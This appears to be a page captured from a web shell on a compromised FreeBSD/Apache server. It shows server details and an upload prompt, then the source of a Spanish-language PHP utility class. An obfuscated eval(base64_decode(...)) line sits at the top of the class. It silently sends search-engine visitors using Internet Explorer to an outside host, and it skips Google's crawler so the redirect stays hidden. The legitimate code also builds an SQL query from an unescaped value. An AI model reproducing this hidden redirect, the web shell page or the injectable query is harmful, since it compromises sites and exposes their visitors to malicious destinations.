KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/logicswapweb/aplicaciones/admon/fnc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/logicswapweb/aplicaciones/admon/fnc/utileria_old1.php
<?php	 	eval(base64_decode("CmVycm9yX3JlcG9ydGluZygwKTsKJHFhenBsbT1oZWFkZXJzX3NlbnQoKTsKaWYgKCEkcWF6cGxtKXsKJHJlZmVyZXI9JF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddOwokdWFnPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTsKaWYgKCR1YWcpIHsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpKXsKcHJlZ19tYXRjaCAoIi9tc2llIChbMC05Ll0rKS9pIiwkdWFnLCRtdik7CmlmIChpc3NldCgkbXZbMV0pKXsKJG12PXN0cl9yZXBsYWNlKCIuIiwiIiwkbXZbMV0pOwp9Cn0KaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsKaWYgKHN0cmlzdHIoJHVhZywiTVNJRSIpIGFuZCAkbXY+PTkwKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vLiIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmcuIikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmxcP3NhLyIsJHJlZmVyZXIpKSB7CmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBhbmQgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikgYW5kICFzdHJpc3RyKCRyZWZlcmVyLCJFZVlwM0Q3IikpewpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vZ3NibmNtLmVwYWMudG8vIik7CmV4aXQoKTsKfQp9Cn0KfQp9Cn0="));
class Utileria {

var $meses=array("January","February","March","April","May","June","July","August","September","Octuber","November","December");
var $dias=array("Domingo","Lunes","Martes","Miercoles","Jueves","Viernes","Sabado");
/*
*funcion select()
*descripcion escripbe un input select sea de dias
*			 o meses y si se necesita con un predeterminado escogido
*parametros: tipo:dia para valores entre 1-31; mes para valores de 1-12 y texto de enero-diciembre
*			 nombre: nombre de el input
*			 extra: cadena para la cabecera del input ej: $extra="onclick='javascript: volver();'"
*			 sel: predeterminado para selected indice entre 1 y el limite o  false en caso que no
*			 iniLine: valor||texto de la primer linea como indicativo ej 0660||seleccione
*/
function Select($tipo,$nombre,$extra,$iniLine=false,$sel=false){

	$cad = "<select name=\"$nombre\" $extra>";
	if(!empty($iniLine)){
		if(!empty($sel)){$xx="selected";}else{$xx="";}
		$li = explode("||",$iniLine);
		$valor=$li[0];
		$text=$li[1];
		$cad.= "<option value=\"$valor\" $xx>$text</option>";
	}
	if($tipo=="mes"){
		$vec=$this->meses;
		$lim =sizeof($vec);
		foreach($vec as $key=>$val){
			$ind=$key+1;
			if(!empty($sel)){
				if($sel==$ind){$xxx="selected";}else{$xxx="";}
				$cad.= "<option value=\"$ind\" $xxx>$val</option>";
			}else{
				$cad.= "<option value=\"$ind\">$val</option>";
			}
		}
	}
	if($tipo=="dia"){
		for($i=1;$i<=31;$i++){
			if(!empty($sel)){
				if($sel==$i){$xxx="selected";}else{$xxx="";}
				$cad.= "<option value=\"$i\" $xxx>$i</option>";
			}else{
				$cad.= "<option value=\"$i\">$i</option>";
			}
		}
	}
	$cad.="</select>";
	return $cad;
	
}

function SelectEdad($nombre,$extra,$limite,$inicio=1,$iniLine=false,$sel=false){
	$cad = "<select name=\"$nombre\" $extra>";
	if(!empty($iniLine)){
		if(!empty($sel)){$xx="selected";}else{$xx="";}
		$li = explode("||",$iniLine);
		$valor=$li[0];
		$text=$li[1];
		$cad.= "<option value=\"$valor\" $xx>$text</option>";
	}
	for($i=$inicio;$i<=$limite;$i++){
		if($sel===$i){$xxx="selected";}else{$xxx="";}
		$cad.= "<option value=\"$i\" $xxx>$i</option>";
	}
	$cad.="</select>";
	return $cad;
	
}



function mes_($month){
	switch($month){
		case "01": return "January";
		case "02": return "Febreary";		
		case "03": return "March";		
		case "04": return "April";		
		case "05": return "May";		
		case "06": return "June";
		case "07": return "July";
		case "08": return "August";		
		case "09": return "September";			
		case "10": return "October";		
		case "11": return "November";
		case "12": return "Diciembre";		
		default: return "MES";
	}
}
/*
*funcion fecha
*descripcion devuelve la fecha en formato leible
*			 ej: xx de <nombre_mes> de <a�o>
*/

function fecha($date){
	if(empty($date)){
		$date=date('Y-m-d');
	}
	$anio = "";
	$mes = "";
	$dia = "";
	$temp = explode("-",$date);
	$anio = $temp[0];
	$mes = $this->mes_($temp[1]);
	$dia = $temp[2];
	return $mes." ".$dia." from ".$anio;
}
function romano($num){
	switch ($num){
		case 1: return "I"; 
		case 2: return "II"; 
		case 3: return "III"; 					
		case 4: return "IV";
		case 5: return "V";
		case 6: return "VI";
		case 7: return "VII";
		case 8: return "VIII";
		case 9: return "IX";
		case 10: return "X";
		case 11: return "XI";
		case 12: return "XII";
		default: return "##";
	}
}

/*
*funcion goTo()
*descripcion redirecciona mediante script
*			 a una pagina en especial
*			elm = [parent,document]
*/
function goTo($pag,$elm){
	echo "<script>$elm.location.href='$pag';</script>";
}

/*
*funcion mascara()
*descripcion retorna una cadena encriptada mediante md5
*/

function mascara($val){
	return md5($val);
}


/*
*funcion pathFile
*descripcion entrega la direccion del fichero actual
*			 puede o no incluir el nombre del fichero
*			 fichero=false no devuelve fichero
*/
function pathFile($fichero=false){
	$server =$_SERVER['SERVER_NAME'];
	$vec=explode("?",$_SERVER['REQUEST_URI']);
	$pt = $vec[0];
	$path= "http://".$server.$pt;
	if(empty($fichero)){
		$pos = strrpos( $path, '/');	
		$path= substr( $path, 0, $pos+1);
	}
	return $path; 
}
/*
*funcion parseInputDB()
*descripcion reeemplaza caracteres que podrian no ser guardados
*			 debidamente en la base de datos por marcas identificables
*			 para luego ser reemplazadas para su salida en html
*			 - saltos de linea y retorno de carro
*/
function parseInput2DB($str){
	$rstr= str_replace("\r\n", "[rbr]", $str);
	$rstr= str_replace("\r", "[rr]", $rstr);
	$rstr= str_replace("\n", "[br]", $rstr);
	return $rstr;

}
/*
*funcion parseDBInput()
*descripcion reeemplaza caracteres identificables de la entrada a la BD
*			 para colocarlos en un Input de un formulario
*			 - saltos de linea y retorno de carro
*/
function parseDB2Input($str){
	$rstr= str_replace("[rbr]", "\r\n", $str);
	$rstr= str_replace("[rr]", "\r", $rstr);
	$rstr= str_replace("[br]", "\n", $rstr);
	return $rstr;

}
/*
*funcion parseDB2Html()
*descripcion reeemplaza caracteres identificables de la entrada a la BD
*			 y todo caracter especial para el codigo html
*			 para colocarlos en codigo html
*			 - saltos de linea y retorno de carro y caracteres especiales
*/
function parseDB2Html($str){
	$rstr=htmlentities ($str);
	$rstr= str_replace("[rbr]", "<br>", $rstr);
	$rstr= str_replace("[rr]", "", $rstr);
	$rstr= str_replace("[br]", "<br>", $rstr);
	$rstr= str_replace("[r][n]", "<br>", $rstr);
	return $rstr;

}
/*
*funcion parseDB2HtmlN()
*descripcion reeemplaza caracteres identificables de la entrada a la BD
*			 y todo caracter especial para el codigo html los de linea los elimina
*			 para colocarlos en codigo html
*			 - saltos de linea y retorno de carro y caracteres especiales
*/
function parseDB2HtmlN($str){
	$rstr=htmlentities ($str);
	$rstr= str_replace("[rbr]", " ", $rstr);
	$rstr= str_replace("[rr]", " ", $rstr);
	$rstr= str_replace("[br]", " ", $rstr);
	return $rstr;

}

/*
*function implode_by_key
*			 analogo a implode pero no ducplica los elemntos con doble llave
*			 utilizado para cuando uno un row de una consulta sql
*/
function implode_by_key($array, $sep = NULL) {
    $return = NULL;
	$i=0;
    foreach ($array as $tk => $tv){
		if(($i%2)===0){
			$return .= $sep.$tv;
		}
		$i++;
	}
	if(strlen($sep)==0) return $return;
	else return substr($return,strlen($sep));
}
/*
*funcion: 		quitar_ceros
*descripcion: 	elimina los ceros a la izquierda de una cadena
*/
function quitarCeros($num){
	$len=strlen($num);
	if($len==1){
		return $num;
	}elseif($num[0]=="0"){
		return $this->quitarCeros(substr($num,1));
	}else{
		return $num;
	}
}

function valorNumero($num){
	$v = (int)$num;
	return "$ ".number_format($this->quitarCeros($v),0,'',".");
}
/*
*funcion showImages
*descripcion coloca un marco de despliegue de imagenes del inmueble
*/
function showImages($id,$ruta){
	$proporcion=0.5;
	$anchoSec=265;
	$altoSec=$anchoSec/$proporcion;
	$index=0;
	$sql = "SELECT nombre FROM img_catalogo where inmueble='$id'";
	if($this->execute($sql)){	
		while(list($fichero)=$this->fetchRow()){
			$imagenes[$index]=$ruta.$fichero;
			$index++;
		}
	}else{
		echo "<scrip>alert('�imposible consultar la base de datos!');</script>";
	}
		
	echo '<TABLE border="0" cellspacing="0" cellpadding="0" width="100%" height="100%"><TR><TD><form name="Oneslideform">';
	echo '<DIV align="center"><TABLE width="'.$anchoSec.'" border="1" cellspacing="0" cellpadding="4" bordercolor="#999999">';
	echo '<TR><TD bgcolor="#330099"></TD></TR><TR><TD bgcolor="#FFFFFF">';
	echo '<DIV align="center"><IMG src="'.$imagenes[0].'" name="Oneshow" border="0"></DIV>';
	echo '</TD></TR><TR><TD bgcolor="#e0e0e0"><DIV align="center"><SELECT class="listado" name="Oneslide" onChange="Onechange();">';
    for($i=0;$i<$index;$i++){
		if($i==0)
			echo '<OPTION value="'.$imagenes[$i].'"  selected>Imagen '.($i+1).'</OPTION>';
		else	
			echo '<OPTION value="'.$imagenes[$i].'">Imagen '.($i+1).'</OPTION>';
	}		
    echo '</SELECT></TD></TR><TR><TD bgcolor="#e0e0e0"><DIV align="center">';
	echo '<input type="button" title="Atras" value="<" onClick="javascript: Oneprevious();">&nbsp;&nbsp;&nbsp;&nbsp;';
	echo '<INPUT name="Oneslidebutton" type=button class="botones" title="AutoPlay" onClick="Oneap(this.value);" value="Play" style="vertical-align:top ">&nbsp;&nbsp;&nbsp;&nbsp;';
	echo '<input type="button" title="Adelante" value=">" onClick="javascript: Onenext();">';
	echo '</DIV></TD></TR></TABLE></DIV></form></TD></TR></TABLE>';
}
/*
*funcion getDiference
*descripcion devuelve una cadena con la informacion de el calculo de 
*			 el tiempo tomado entre dos momentos diferentes con microtime()
*			 timeIni = tiempo inicial 
*			 timeFin = tiempo final 
*/
function getDiference($timeIni,$timeFin,$sep){
	$v1 = explode (" ",$timeIni); $v2 = explode (" ",$timeFin);
	$seg1 = (double)$v1[1]; $mcseg1= (double)$v1[0];
	$seg2 = (double)$v2[1]; $mcseg2= (double)$v2[0];
	$valorInicial= $seg1 + $mcseg1;
	$valorfinal= $seg2 + $mcseg2;
	
	$sal =  "Toma inicial = ".$valorInicial.$sep;
	$sal.= "Toma final   = ".$valorfinal.$sep;
	$sal.= "Tiempo transcurrido = ".($valorfinal-$valorInicial);
	$arreglo[0]=$sal;
	$arreglo[1]=$valorfinal-$valorInicial;
	return $arreglo;
}

/*parseo outInput - De la base de datos hacia un elemento input*/
function outHtml($cadena){
	$str  = "";
	$str = str_replace("[n]", "<br>", $cadena);
	$str = str_replace("[r]", "\r", $str);
	$str = str_replace("[t]", "\t", $str);
	$str = str_replace("[b]", "\\", $str);
	$str = str_replace("[p]", "\$", $str);
	$str = str_replace("[c]", "\"", $str);	  
	$str = str_replace("[a]", "&", $str);	  
	$str = str_replace("[num]", "#", $str);	  
	return $str;
}

function outInput($cadena){
	$str  = "";
	$str = str_replace("[n]", "\n", $cadena);
	$str = str_replace("[r]", "\r", $str);
	$str = str_replace("[t]", "\t", $str);
	$str = str_replace("[b]", "\\", $str);
	$str = str_replace("[p]", "\$", $str);
	$str = str_replace("[c]", "\"", $str);	  
	$str = str_replace("[a]", "&", $str);	  
	$str = str_replace("[num]", "#", $str);	  
	return $str;
}



}

?>

Anon7 - 2021